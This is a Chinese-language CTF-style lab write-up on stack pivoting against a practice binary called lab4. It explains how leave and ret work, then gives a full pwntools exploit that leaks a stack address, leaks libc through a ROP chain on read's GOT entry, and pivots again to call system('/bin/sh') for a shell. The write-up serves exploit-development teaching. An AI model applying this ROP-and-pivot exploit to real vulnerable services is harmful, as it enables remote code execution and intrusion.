实验目的
在我们仅仅只能够控制ebp的情况下,我们怎么才能够控制eip去拿到我们的shell?使用栈迁移的方法便能解决这个问题。在这里用lab4的文件来举例。
实验文件
链接:https://pan.baidu.com/s/1CW0eZM-yFNZfOfqlLnxqCw
提取码:tmo3
实验步骤
首先来介绍一下栈迁移是什么?
以32位程序举例,在使用call这个命令,进入一个函数的时候,程序会进行一系列栈操作:
push eip+4;
push ebp;
mov ebp,esp;
这些操作是用来保护现场,避免执行完函数后堆栈不平衡以及找不到之前的入口地址。
执行完函数后会进行一系列操作来还原现场
leave;
ret;
这边的leave就相当于进入函数栈操作的逆过程。
实际上,根据编译原理上介绍的leave和ret可以拆分成若干个move函数
leave == mov esp,ebp;pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器
这样如果能够控制栈空间到任意地址,那么我们就能利用ret来控制eip的数据(栈顶数据)。
此外,栈迁移主要是为了解决栈溢出可以溢出空间大小不足的问题。
现在我们用lab4文件来举例说明
首先对lab4进行检测,看看有没有保护机制
发现堆栈是no canary found ,所以我们可以通过栈进行填充字符来对栈进行操作。
对lab4用IDA进行静态分析
栈的溢出空间只有60h,比之前的几个例子小了很多,所以我们采用栈溢出的方法
这个地方是我们之后用来进行栈迁移操作的地方
通过对函数的源码进行分析,putchar(62)输出一个字符,我们需要对它进行接收。
p.recvuntil('>')
我们可以得出在read函数的地方我们可以进行在栈上填充字符的操作,从而对栈进行操作。在Puts函数的地方进行输出,但是碰巧的是输出的是栈上的内容(buf),因为栈上有用户数据、参数、rsp、rbp、返回地址等等。所以我们就可从这里进行泄露。
所以,我们直接将buf填充到rbp位置。
payload ='a'*0x50
因为puts是输出字符串的,字符串条件是\x00,所以Puts的结束条件也是\x00。(见下图)
输入字符一直填充到rbp下面为止,因为rbp存的是非0的内容,如果不到rbp下面停止的话,那么rbp的内容会当作字符串的一部分,所以会被输出出来。所以,我们利用这个特性来把rbp的地址(即stack的地址)输出出来。
我们通过填充,从而把stack的地址给泄露出来并打印出来。
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(stack)
我们接下来要解决如何泄露出libc的基址,想泄露出libc的基址,首先要做的是先泄露出read的地址。
payload =p64(0xdeadbeef)+p64(pop_1)+p64(elf.got['read'])+p64(elf.plt['puts'])
payload+=p64(func_entry)+'a'*0x28
payload+=p64(stack-0x70)+p64(leave)
把payload填充进去
func_entry为sub_400676函数的入口地址。
构造rop链:
payload =p64(0xdeadbeef)+p64(pop_1)+p64(elf.got['read'])+p64(elf.plt['puts'])
从之前泄露出栈的基址为0x7ffd0ce4efc0,可以算出偏移量为0x70。
所以我们之后进行leave操作,把rbp往低地址移。因为leave相当于mov rsp,rbp;pop rbp;相当于把rbp位置上的内容给了rbp。
然后执行ret操作,相当于pop eip;因为我们之前在payload中是将leave指令的地址覆盖了ret地址。
所以我们再执行一次leave指令,相当于把rbp位置上的内容给了rbp。
之后就进行pop_1上的操作。
到puts函数中
最后把read的地址给泄露出来。
read=u64((p.recv()[5:11]).ljust(8,'\x00'))
print hex(read)
libc=LibcSearcher('read',read)
libcbase=read-libc.dump('read')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
之后就在进行一次,我们就可以getshell。
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
debug=0
p=process('./lab4')
elf=ELF('./lab4')
if debug==1:
pwnlib.gdb.attach(p,'b *0x4006ad')
leave =0x00000000004006BE
pop_1=0x0000000000400793
func_entry=0x0000000000400676
payload ='a'*0x50
p.recvuntil('>')
p.send(payload)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(stack)
################### one rop ##########################
payload =p64(0xdeadbeef)+p64(pop_1)+p64(elf.got['read'])+p64(elf.plt['puts'])
payload+=p64(func_entry)+'a'*0x28
payload+=p64(stack-0x70)+p64(leave)
p.recv()
p.send(payload)
################## leak libc #########################
if debug==0:
read=u64((p.recv()[5:11]).ljust(8,'\x00'))
else:
p.recv()
p.recv()
read=u64(p.recv(6).ljust(8,'\x00'))
print hex(read)
libc=LibcSearcher('read',read)
libcbase=read-libc.dump('read')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
################### two rop #############################
payload =p64(0xdeadbeef)+p64(pop_1)+p64(bin_sh)+p64(system)
payload+='a'*0x30
payload+=p64(stack-0xa0)+p64(leave)
p.send(payload)
p.interactive()
'''
0x000000000040078c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400790 : pop r14 ; pop r15 ; ret
0x0000000000400792 : pop r15 ; ret
0x000000000040078b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop rbp ; ret
0x0000000000400793 : pop rdi ; ret
0x0000000000400791 : pop rsi ; pop r15 ; ret
0x000000000040078d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffe
'''